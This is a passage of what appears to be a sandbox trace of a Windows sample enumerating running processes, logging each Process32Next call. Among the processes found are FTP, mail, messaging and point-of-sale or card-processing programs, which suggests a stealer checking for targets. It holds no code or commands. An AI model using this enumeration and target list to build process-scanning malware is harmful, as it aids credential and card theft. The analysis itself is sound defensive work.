dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0275.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0275.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0275.333] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0275.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0275.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0275.341] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0275.343] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0275.345] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0275.347] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0275.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0275.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0275.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0275.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0275.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0275.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0275.401] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0275.403] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0275.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0275.408] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0275.426] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0275.429] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0275.432] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0275.434] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0275.437] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0275.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0275.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0275.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0275.447] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0275.450] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0275.452] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0275.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0275.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0275.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0275.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0275.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0275.518] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0275.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0275.523] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0275.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0275.527] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0275.530] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0275.532] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0275.534] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0275.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0275.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0275.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0275.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0275.546] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0275.548] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0275.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0275.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0275.606] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0275.608] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.610] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.613] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0275.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0275.619] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0275.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0275.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0275.626] CloseHandle (hObject=0x344) returned 1 [0275.626] Sleep (dwMilliseconds=0x64) [0275.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0275.728] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.735] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.737] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.739] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.831] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.833] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.837] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.839] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 